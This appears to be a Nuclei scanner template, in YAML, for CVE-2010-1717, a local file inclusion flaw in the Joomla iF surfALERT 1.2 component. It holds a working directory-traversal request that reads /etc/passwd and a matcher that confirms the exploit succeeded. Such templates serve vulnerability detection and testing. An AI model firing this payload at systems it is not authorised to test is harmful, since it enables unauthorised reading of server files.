id: CVE-2010-1717

info:
  name: Joomla! Component iF surfALERT 1.2 - Local File Inclusion
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in the iF surfALERT (com_if_surfalert) component 1.2 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, leading to unauthorized access and potential data leakage.
  remediation: |
    Apply the latest patch or upgrade to a newer version of the Joomla! Component iF surfALERT to mitigate the LFI vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12291
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1717
    - http://www.vupen.com/english/advisories/2010/0924
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Live-Hack-CVE/CVE-2010-1717
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-1717
    cwe-id: CWE-22
    epss-score: 0.04506
    epss-percentile: 0.89271
    cpe: cpe:2.3:a:if_surfalert_project:if_surfalert:1.2:*:*:*:*:joomla\!:*:*
  metadata:
    max-request: 1
    vendor: if_surfalert_project
    product: if_surfalert
    framework: joomla\!
  tags: cve,cve2010,joomla,lfi,edb,if_surfalert_project,joomla\!,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_if_surfalert&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100e29ab4962eb50f6d5567e9d313aa927dd0c001b4d74d61cfb7c2dfe2779f62bb02206af6b63b68c6c8dcaa4acd42f898beaba0acaa64f05d8cf1f42ce44153715141:922c64590222798bb761d5b6d8e72950